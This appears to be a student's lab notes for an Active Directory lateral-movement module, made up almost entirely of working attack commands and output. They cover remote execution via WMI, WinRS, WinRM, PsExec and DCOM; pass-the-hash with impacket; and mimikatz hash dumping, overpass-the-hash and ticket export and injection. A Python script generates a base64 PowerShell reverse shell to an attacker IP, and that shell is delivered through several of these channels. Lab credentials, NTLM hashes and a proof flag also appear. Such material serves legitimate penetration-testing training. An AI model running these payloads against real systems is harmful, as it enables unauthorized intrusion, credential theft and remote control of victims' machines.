{% code title="Running the wmic utility to spawn a process on a remote system." overflow="wrap" lineNumbers="true" %}
C:\Users\jeff>wmic /node:192.168.50.73 /user:jen /password:Nexus123! process call create "calc"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ProcessId = 752;
ReturnValue = 0;
};
{% endcode %}
{% code title="Creating a new CimSession and nvoking the WMI session through PowerShell" overflow="wrap" lineNumbers="true" %}
$username = 'jen';
$password = 'Nexus123!';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$options = New-CimSessionOption -Protocol DCOM
$session = New-Cimsession -ComputerName 192.168.50.73 -Credential $credential -SessionOption $Options
$command = 'calc';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};
{% endcode %}
{% code title="Executing the WMI PowerShell payload." overflow="wrap" lineNumbers="true" %}
PS C:\Users\jeff> $username = 'jen';
...
PS C:\Users\jeff> Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};
ProcessId ReturnValue PSComputerName
--------- ----------- --------------
3712 0 192.168.50.73
{% endcode %}
{% code title="Executing the WMI PowerShell payload." overflow="wrap" lineNumbers="true" %}
import sys
import base64
payload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.118.2",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmd)
{% endcode %}
{% code title="Running the base64 encoder Python script" overflow="wrap" lineNumbers="true" %}
kali@kali:~$ python3 encode.py
powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAU...
OwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
{% endcode %}
{% code title="Executing the WMI payload with base64 reverse shell" overflow="wrap" lineNumbers="true" %}
PS C:\Users\jeff> $Command = 'powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD...
HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA';
PS C:\Users\jeff> Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};
ProcessId ReturnValue PSComputerName
--------- ----------- --------------
3948 0 192.168.50.73
{% endcode %}
{% hint style="info" %} For WinRS to work, the domain user needs to be part of the Administrators or Remote Management Users group on the target host. {% endhint %}
{% code title="Executing commands remotely via WinRS" overflow="wrap" lineNumbers="true" %}
C:\Users\jeff>winrs -r:files04 -u:jen -p:Nexus123! "cmd /c hostname & whoami"
FILES04
corp\jen
{% endcode %}
{% code title="Running the reverse-shell payload through WinRS" overflow="wrap" lineNumbers="true" %}
C:\Users\jeff>winrs -r:files04 -u:jen -p:Nexus123! "powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5AD...
HUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"
{% endcode %}
{% code title="Establishing a PowerShell Remote Session via WinRM" overflow="wrap" lineNumbers="true" %}
PS C:\Users\jeff> $username = 'jen';
PS C:\Users\jeff> $password = 'Nexus123!';
PS C:\Users\jeff> $secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
PS C:\Users\jeff> $credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
PS C:\Users\jeff> New-PSSession -ComputerName 192.168.50.73 -Credential $credential
Id Name ComputerName ComputerType State ConfigurationName Availability
-- ---- ------------ ------------ ----- ----------------- ------------
1 WinRM1 192.168.50.73 RemoteMachine Opened Microsoft.PowerShell Available
{% endcode %}
{% code title="Inspecting the PowerShell Remoting session" overflow="wrap" lineNumbers="true" %}
PS C:\Users\jeff> Enter-PSSession 1
[192.168.50.73]: PS C:\Users\jen\Documents> whoami
corp\jen
[192.168.50.73]: PS C:\Users\jen\Documents> hostname
FILES04
{% endcode %}
It is possible to misuse this tool for lateral movement, but three requisites must be met. First, the user that authenticates to the target machine needs to be part of the Administrators local group. Second, the ADMIN$ share must be available, and third, File and Printer Sharing has to be turned on. Luckily for us, the last two requirements are already met as they are the default settings on modern Windows Server systems.
{% code title="Obtaining an Interactive Shell on the Target System with PsExec" overflow="wrap" lineNumbers="true" %}
PS C:\Tools\SysinternalsSuite> ./PsExec64.exe -i \\FILES04 -u corp\jen -p Nexus123! cmd
PsExec v2.4 - Execute processes remotely
Copyright (C) 2001-2022 Mark Russinovich
Sysinternals - www.sysinternals.com
Microsoft Windows [Version 10.0.20348.169]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>hostname
FILES04
C:\Windows\system32>whoami
corp\jen
{% endcode %}
PsExec from above worked as well, but when trying to "cd to Administrator" you get Access is denied.
With impacket-smbexec it works to show the file.
kali㉿kali)-[~/offsec]
└─$ /usr/bin/impacket-smbexec corp.com/leon:HomeTaping199\[email protected]
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>hostname
FILES04
C:\Windows\system32>type C:\Users\Administrator\Desktop\proof.txt
OS{def954eb67cb984ccb0f4d79b22ea387}
PTH only works for NTLM authentication, not for Kerberos authentication.
Tools:
- PsExec (Metasploit), https://github.com/byt3bl33d3r/pth-toolkit
- Passing-the-hash toolkit
- Impacket https://github.com/CoreSecurity/impacket/blob/master/examples/smbclient.py
Prerequisites that must be met:
- SMB connection - port 445
- Windows File and Printer Sharing feature to be enabled
- admin share called ADMIN$ to be available
To establish a connection to this share, the attacker must present valid credentials with local administrative permissions. In other words, this type of lateral movement typically requires local administrative rights.
This method works for Active Directory domain accounts and the built-in local administrator account. However, due to the 2014 security update, this technique can not be used to authenticate as any other local admin account.
{% code title="Passing the hash using Impacket wmiexec" overflow="wrap" lineNumbers="true" %}
kali@kali:~$ /usr/bin/impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E [email protected]
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>hostname
FILES04
C:\>whoami
files04\administrator
{% endcode %}
{% code title="" overflow="wrap" lineNumbers="true" %}
kali@kali:~$ pth-winexe -U offsec%aad3b435b51404eeaad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e //10.11.0.22 cmd
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
{% endcode %}
NTLM to --> Kerberos TGT ticket
With overpass the hash, we can “over” abuse a NTLM user hash to gain a full Kerberos Ticket Granting Ticket (TGT) or service ticket, which grants us access to another machine or service as that user.
{% code title="Dumping password hash for 'jen'" overflow="wrap" lineNumbers="true" %}
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
...
Authentication Id : 0 ; 1142030 (00000000:00116d0e)
Session : Interactive from 0
User Name : jen
Domain : CORP
Logon Server : DC1
Logon Time : 2/27/2023 7:43:20 AM
SID : S-1-5-21-1987370270-658905905-1781884369-1124
msv :
[00000003] Primary
* Username : jen
* Domain : CORP
* NTLM : 369def79d8372408bf6e93364cc93075
* SHA1 : faf35992ad0df4fc418af543e5f4cb08210830d4
* DPAPI : ed6686fedb60840cd49b5286a7c08fa4
tspkg :
wdigest :
* Username : jen
* Domain : CORP
* Password : (null)
kerberos :
* Username : jen
* Domain : CORP.COM
* Password : (null)
ssp :
credman :
...
{% endcode %}
{% code title="Creating a process with a different user's NTLM password hash" overflow="wrap" lineNumbers="true" %}
mimikatz # sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell
user : jen
domain : corp.com
program : powershell
impers. : no
NTLM : 369def79d8372408bf6e93364cc93075
| PID 8716
| TID 8348
| LSA Process is now R/W
| LUID 0 ; 16534348 (00000000:00fc4b4c)
\_ msv1_0 - data copy @ 000001F3D5C69330 : OK !
\_ kerberos - data copy @ 000001F3D5D366C8
\_ des_cbc_md4 -> null
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ des_cbc_md4 OK
\_ *Password replace @ 000001F3D5C63B68 (32) -> null
{% endcode %}
{% hint style="info" %} At this point, running the whoami command on the newly created PowerShell session would show jeff's identity instead of jen. While this could be confusing, this is the intended behavior of the whoami utility which only checks the current process's token and does not inspect any imported Kerberos tickets {% endhint %}
{% code title="Listing Kerberos tickets" overflow="wrap" lineNumbers="true" %}
PS C:\Windows\system32> klist
Current LogonId is 0:0x1583ae
Cached Tickets: (0)
{% endcode %}
{% code title="Mapping a network share on a remote server" overflow="wrap" lineNumbers="true" %}
PS C:\Windows\system32> net use \\files04
The command completed successfully.
{% endcode %}
{% code title="Listing Kerberos tickets" overflow="wrap" lineNumbers="true" %}
PS C:\Windows\system32> klist
Current LogonId is 0:0x17239e
Cached Tickets: (2)
#0> Client: jen @ CORP.COM
Server: krbtgt/CORP.COM @ CORP.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 2/27/2023 5:27:28 (local)
End Time: 2/27/2023 15:27:28 (local)
Renew Time: 3/6/2023 5:27:28 (local)
Session Key Type: RSADSI RC4-HMAC(NT)
Cache Flags: 0x1 -> PRIMARY
Kdc Called: DC1.corp.com
#1> Client: jen @ CORP.COM
Server: cifs/files04 @ CORP.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
Start Time: 2/27/2023 5:27:28 (local)
End Time: 2/27/2023 15:27:28 (local)
Renew Time: 3/6/2023 5:27:28 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called: DC1.corp.com
{% endcode %}
We know that ticket #0 is a TGT because the server is krbtgt.
{% hint style="info" %} We used net use arbitrarily in this example, but we could have used any command that requires domain permissions and would subsequently create a TGS. {% endhint %}
We have now converted our NTLM hash into a Kerberos TGT, allowing us to use any tools that rely on Kerberos authentication (as opposed to NTLM). Here we will use the official PsExec application from Microsoft.
PsExec can run a command remotely but does not accept password hashes. Since we have generated Kerberos tickets and operate in the context of jen in the PowerShell session, we can reuse the TGT to obtain code execution on the files04 host.
{% code title="Opening remote connection using Kerberos" overflow="wrap" lineNumbers="true" %}
PS C:\Windows\system32> cd C:\tools\SysinternalsSuite\
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\files04 cmd
PsExec v2.4 - Execute processes remotely
Copyright (C) 2001-2022 Mark Russinovich
Sysinternals - www.sysinternals.com
Microsoft Windows [Version 10.0.20348.169]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
corp\jen
C:\Windows\system32>hostname
FILES04
{% endcode %}
In the previous section, we used the overpass the hash technique (along with the captured NTLM hash) to acquire a Kerberos TGT, allowing us to authenticate using Kerberos. We can only use the TGT on the machine it was created for, but the TGS potentially offers more flexibility. The Pass the Ticket attack takes advantage of the TGS, which may be exported and re-injected elsewhere on the network and then used to authenticate to a specific service. In addition, if the service tickets belong to the current user, then no administrative privileges are required.
{% code title="Verifying that the user jen has no access to the shared folder" overflow="wrap" lineNumbers="true" %}
PS C:\Windows\system32> whoami
corp\jen
PS C:\Windows\system32> ls \\web04\backup
ls : Access to the path '\\web04\backup' is denied.
At line:1 char:1
+ ls \\web04\backup
+ ~~~~~~~~~~~~~~~~~
+ CategoryInfo : PermissionDenied: (\\web04\backup:String) [Get-ChildItem], UnauthorizedAccessException
+ FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
{% endcode %}
{% code title="Exporting Kerberos TGT/TGS to disk" overflow="wrap" lineNumbers="true" %}
mimikatz #privilege::debug
Privilege '20' OK
mimikatz #sekurlsa::tickets /export
Authentication Id : 0 ; 2037286 (00000000:001f1626)
Session : Batch from 0
User Name : dave
Domain : CORP
Logon Server : DC1
Logon Time : 9/14/2022 6:24:17 AM
SID : S-1-5-21-1987370270-658905905-1781884369-1103
* Username : dave
* Domain : CORP.COM
* Password : (null)
Group 0 - Ticket Granting Service
Group 1 - Client Ticket ?
Group 2 - Ticket Granting Ticket
[00000000]
Start/End/MaxRenew: 9/14/2022 6:24:17 AM ; 9/14/2022 4:24:17 PM ; 9/21/2022 6:24:17 AM
Service Name (02) : krbtgt ; CORP.COM ; @ CORP.COM
Target Name (02) : krbtgt ; CORP ; @ CORP.COM
Client Name (01) : dave ; @ CORP.COM ( CORP )
Flags 40c10000 : name_canonicalize ; initial ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac
f0259e075fa30e8476836936647cdabc719fe245ba29d4b60528f04196745fe6
Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...]
* Saved to file [0;1f1626][email protected] !
...
{% endcode %}
The above command parsed the LSASS process space in memory for any TGT/TGS, which is then saved to disk in the kirbi mimikatz format.
Inspecting the generated tickets indicates that dave had initiated a session. We can try to inject one of their tickets inside jen's sessions.
We can verify newly generated tickets with dir, filtering out on the kirbi extension.
{% code title="Exporting Kerberos TGT/TGS to disk" overflow="wrap" lineNumbers="true" %}
PS C:\Tools> dir *.kirbi
Directory: C:\Tools
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/14/2022 6:24 AM 1561 [0;12bd0][email protected]
-a---- 9/14/2022 6:24 AM 1505 [0;12bd0][email protected]
-a---- 9/14/2022 6:24 AM 1561 [0;1c6860][email protected]
-a---- 9/14/2022 6:24 AM 1505 [0;1c6860][email protected]
-a---- 9/14/2022 6:24 AM 1561 [0;1c7bcc][email protected]
-a---- 9/14/2022 6:24 AM 1505 [0;1c7bcc][email protected]
-a---- 9/14/2022 6:24 AM 1561 [0;1c933d][email protected]
-a---- 9/14/2022 6:24 AM 1505 [0;1c933d][email protected]
-a---- 9/14/2022 6:24 AM 1561 [0;1ca6c2][email protected]
-a---- 9/14/2022 6:24 AM 1505 [0;1ca6c2][email protected]
...
{% endcode %}
{% code title="Injecting the selected TGS into process memory." overflow="wrap" lineNumbers="true" %}
mimikatz # kerberos::ptt [0;12bd0][email protected]
* File: '[0;12bd0][email protected]': OK
{% endcode %}
{% code title="Inspecting the injected ticket in memory" overflow="wrap" lineNumbers="true" %}
PS C:\Tools> klist
Current LogonId is 0:0x13bca7
Cached Tickets: (1)
#0> Client: dave @ CORP.COM
Server: cifs/web04 @ CORP.COM
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40810000 -> forwardable renewable name_canonicalize
Start Time: 9/14/2022 5:31:32 (local)
End Time: 9/14/2022 15:31:13 (local)
Renew Time: 9/21/2022 5:31:13 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
{% endcode %}
{% code title="Accessing the shared folder through the injected ticket" overflow="wrap" lineNumbers="true" %}
PS C:\Tools> ls \\web04\backup
Directory: \\web04\backup
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/13/2022 2:52 AM 0 backup_schemata.txt
{% endcode %}
Interaction with DCOM is performed over RPC on TCP port 135 and local administrator access is required to call the DCOM Service Control Manager, which is essentially an API.
Cybereason documented a collection of various DCOM lateral movement techniques, including one discovered by Matt Nelson, which we are covering in this section.
he discovered DCOM lateral movement technique is based on the Microsoft Management Console (MMC) COM application that is employed for scripted automation of Windows systems.
The MMC Application Class allows the creation of Application Objects, which expose the ExecuteShellCommand method under the Document.ActiveView property. As its name suggests, this method allows the execution of any shell command as long as the authenticated user is authorized, which is the default for local administrators.
From an elevated PowerShell prompt, we can instantiate a remote MMC 2.0 application by specifying the target IP of FILES04 as the second argument of the GetTypeFromProgID method.
{% code title="Remotely Instantiating the MMC Application object" overflow="wrap" lineNumbers="true" %}
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.50.73"))
{% endcode %}
{% code title=" Executing a command on the remote DCOM object" overflow="wrap" lineNumbers="true" %}
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")
{% endcode %}
{% code title=" Verifying that calculator is running on FILES04" overflow="wrap" lineNumbers="true" %}
C:\Users\Administrator>tasklist | findstr "calc"
win32calc.exe 4764 Services 0 12,132 K
{% endcode %}
We can now improve our craft by extending this attack to a full reverse shell similar to what we did in the WMI and WinRM section earlier in this Module.
Having generated the base64 encoded reverse shell with our Python script, we can replace our DCOM payload with it.
{% code title="Adding a reverse-shell as a DCOM payload on CLIENT74" overflow="wrap" lineNumbers="true" %}
$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5A...
AC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA","7")
{% endcode %}